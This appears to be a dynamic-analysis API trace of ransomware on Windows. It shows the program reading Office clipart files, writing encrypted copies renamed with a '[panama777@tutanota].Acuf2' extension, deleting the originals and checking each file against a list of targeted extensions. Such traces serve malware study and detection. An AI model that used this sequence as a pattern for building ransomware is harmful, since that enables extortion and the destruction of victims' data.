	[0268.660] ReadFile (in: hFile=0x370, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x6e34, lpOverlapped=0x0) returned 1
	[0268.977] WriteFile (in: hFile=0x274, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x6e40, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x6e40, lpOverlapped=0x0) returned 1
	[0268.978] ReadFile (in: hFile=0x370, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0268.978] WriteFile (in: hFile=0x274, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0268.978] SetEndOfFile (hFile=0x274) returned 1
	[0268.978] CloseHandle (hObject=0x274) returned 1
	[0268.978] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.978] SetEndOfFile (hFile=0x370) returned 1
	[0268.981] CloseHandle (hObject=0x370) returned 1
	[0268.981] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0268.982] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf")) returned 1
	[0268.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63
	[0268.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63
	[0268.982] lstrlenW (lpString=".doc") returned 4
	[0268.982] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0268.982] lstrlenW (lpString=".docx") returned 5
	[0268.982] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0268.982] lstrlenW (lpString=".pdf") returned 4
	[0268.982] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0268.982] lstrlenW (lpString=".xls") returned 4
	[0268.982] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0268.982] lstrlenW (lpString=".xlsx") returned 5
	[0268.982] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0268.982] lstrlenW (lpString=".ppt") returned 4
	[0268.982] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0268.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63
	[0268.982] lstrlenW (lpString=".zip") returned 4
	[0268.982] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0268.982] lstrlenW (lpString=".rar") returned 4
	[0268.982] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0268.983] lstrlenW (lpString=".bz2") returned 4
	[0268.983] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0268.983] lstrlenW (lpString=".7z") returned 3
	[0268.983] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0268.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63
	[0268.983] lstrlenW (lpString=".dbf") returned 4
	[0268.983] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0268.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63
	[0268.983] lstrlenW (lpString=".1cd") returned 4
	[0268.983] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0268.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63
	[0268.983] lstrlenW (lpString=".jpg") returned 4
	[0268.983] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0268.983] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=1456) returned 1
	[0268.983] CloseHandle (hObject=0x370) returned 1
	[0268.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf")) returned 0x20
	[0268.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0268.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0268.984] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.984] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0268.984] GetLastError () returned 0x0
	[0268.984] ReadFile (in: hFile=0x370, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x5b0, lpOverlapped=0x0) returned 1
	[0268.992] WriteFile (in: hFile=0x274, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x5c0, lpOverlapped=0x0) returned 1
	[0268.993] ReadFile (in: hFile=0x370, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0268.993] WriteFile (in: hFile=0x274, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0268.993] SetEndOfFile (hFile=0x274) returned 1
	[0268.993] CloseHandle (hObject=0x274) returned 1
	[0268.993] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.993] SetEndOfFile (hFile=0x370) returned 1
	[0268.996] CloseHandle (hObject=0x370) returned 1
	[0268.996] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0268.996] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf")) returned 1
	[0268.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63
	[0268.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63
	[0268.996] lstrlenW (lpString=".doc") returned 4
	[0268.996] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0268.996] lstrlenW (lpString=".docx") returned 5
	[0268.996] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0268.996] lstrlenW (lpString=".pdf") returned 4
	[0268.996] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0268.996] lstrlenW (lpString=".xls") returned 4
	[0268.996] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0268.996] lstrlenW (lpString=".xlsx") returned 5
	[0268.996] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0268.996] lstrlenW (lpString=".ppt") returned 4
	[0268.996] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0268.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63
	[0268.996] lstrlenW (lpString=".zip") returned 4
	[0268.997] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0268.997] lstrlenW (lpString=".rar") returned 4
	[0268.997] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0268.997] lstrlenW (lpString=".bz2") returned 4
	[0268.997] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0268.997] lstrlenW (lpString=".7z") returned 3
	[0268.997] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0268.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63
	[0268.997] lstrlenW (lpString=".dbf") returned 4
	[0268.997] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0268.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63
	[0268.997] lstrlenW (lpString=".1cd") returned 4
	[0268.997] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0268.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63
	[0268.997] lstrlenW (lpString=".jpg") returned 4
	[0268.997] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0268.997] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=6934) returned 1
	[0268.997] CloseHandle (hObject=0x370) returned 1
	[0268.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf")) returned 0x20
	[0268.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0268.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0268.998] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.998] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0268.998] GetLastError () returned 0x0
	[0268.998] ReadFile (in: hFile=0x370, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x1b16, lpOverlapped=0x0) returned 1
	[0269.010] WriteFile (in: hFile=0x274, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x1b20, lpOverlapped=0x0) returned 1
	[0269.011] ReadFile (in: hFile=0x370, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0269.011] WriteFile (in: hFile=0x274, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0269.011] SetEndOfFile (hFile=0x274) returned 1
	[0269.011] CloseHandle (hObject=0x274) returned 1
	[0269.011] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.011] SetEndOfFile (hFile=0x370) returned 1
	[0269.014] CloseHandle (hObject=0x370) returned 1
	[0269.014] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0269.014] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf")) returned 1
	[0269.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63
	[0269.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63
	[0269.017] lstrlenW (lpString=".doc") returned 4
	[0269.017] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0269.017] lstrlenW (lpString=".docx") returned 5
	[0269.017] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0269.017] lstrlenW (lpString=".pdf") returned 4
	[0269.017] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0269.017] lstrlenW (lpString=".xls") returned 4
	[0269.017] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0269.017] lstrlenW (lpString=".xlsx") returned 5
	[0269.017] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0269.017] lstrlenW (lpString=".ppt") returned 4
	[0269.017] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0269.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63
	[0269.017] lstrlenW (lpString=".zip") returned 4
	[0269.017] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0269.017] lstrlenW (lpString=".rar") returned 4
	[0269.017] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0269.017] lstrlenW (lpString=".bz2") returned 4
	[0269.017] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0269.017] lstrlenW (lpString=".7z") returned 3
	[0269.018] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0269.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63
	[0269.018] lstrlenW (lpString=".dbf") returned 4
	[0269.018] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0269.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63
	[0269.018] lstrlenW (lpString=".1cd") returned 4
	[0269.018] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0269.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63
	[0269.018] lstrlenW (lpString=".jpg") returned 4
	[0269.018] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0269.018] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=24759) returned 1
	[0269.018] CloseHandle (hObject=0x368) returned 1
	[0269.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg")) returned 0x20
	[0269.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0269.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0269.019] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.019] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0269.019] GetLastError () returned 0x0
	[0269.019] ReadFile (in: hFile=0x368, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x60b7, lpOverlapped=0x0) returned 1
	[0269.028] WriteFile (in: hFile=0x390, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x60c0, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x60c0, lpOverlapped=0x0) returned 1
	[0269.029] ReadFile (in: hFile=0x368, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0269.029] WriteFile (in: hFile=0x390, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0269.029] SetEndOfFile (hFile=0x390) returned 1
	[0269.029] CloseHandle (hObject=0x390) returned 1
	[0269.029] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.029] SetEndOfFile (hFile=0x368) returned 1
	[0269.031] CloseHandle (hObject=0x368) returned 1
	[0269.032] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0269.032] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg")) returned 1
	[0269.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63
	[0269.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63
	[0269.032] lstrlenW (lpString=".doc") returned 4
	[0269.032] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0269.032] lstrlenW (lpString=".docx") returned 5
	[0269.032] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1
	[0269.032] lstrlenW (lpString=".pdf") returned 4
	[0269.032] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0269.032] lstrlenW (lpString=".xls") returned 4
	[0269.032] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0269.032] lstrlenW (lpString=".xlsx") returned 5
	[0269.032] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1
	[0269.032] lstrlenW (lpString=".ppt") returned 4
	[0269.032] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0269.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63
	[0269.032] lstrlenW (lpString=".zip") returned 4
	[0269.032] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0269.032] lstrlenW (lpString=".rar") returned 4
	[0269.033] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0269.033] lstrlenW (lpString=".bz2") returned 4
	[0269.033] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0269.033] lstrlenW (lpString=".7z") returned 3
	[0269.033] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0269.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63
	[0269.033] lstrlenW (lpString=".dbf") returned 4
	[0269.033] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0269.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63
	[0269.033] lstrlenW (lpString=".1cd") returned 4
	[0269.033] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0269.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63
	[0269.033] lstrlenW (lpString=".jpg") returned 4
	[0269.033] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0269.033] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=24377) returned 1
	[0269.033] CloseHandle (hObject=0x368) returned 1
	[0269.033] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg")) returned 0x20
	[0269.033] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0269.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0269.034] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.034] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0269.034] GetLastError () returned 0x0
	[0269.034] ReadFile (in: hFile=0x368, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x5f39, lpOverlapped=0x0) returned 1
	[0269.045] WriteFile (in: hFile=0x390, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x5f40, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x5f40, lpOverlapped=0x0) returned 1
	[0269.046] ReadFile (in: hFile=0x368, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0269.046] WriteFile (in: hFile=0x390, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0269.046] SetEndOfFile (hFile=0x390) returned 1
	[0269.046] CloseHandle (hObject=0x390) returned 1
	[0269.046] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.046] SetEndOfFile (hFile=0x368) returned 1
	[0269.048] CloseHandle (hObject=0x368) returned 1
	[0269.048] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0269.049] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg")) returned 1
	[0269.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63
	[0269.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63
	[0269.049] lstrlenW (lpString=".doc") returned 4
	[0269.049] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0269.049] lstrlenW (lpString=".docx") returned 5
	[0269.049] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0269.049] lstrlenW (lpString=".pdf") returned 4
	[0269.049] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0269.049] lstrlenW (lpString=".xls") returned 4
	[0269.049] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0269.049] lstrlenW (lpString=".xlsx") returned 5
	[0269.049] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0269.049] lstrlenW (lpString=".ppt") returned 4
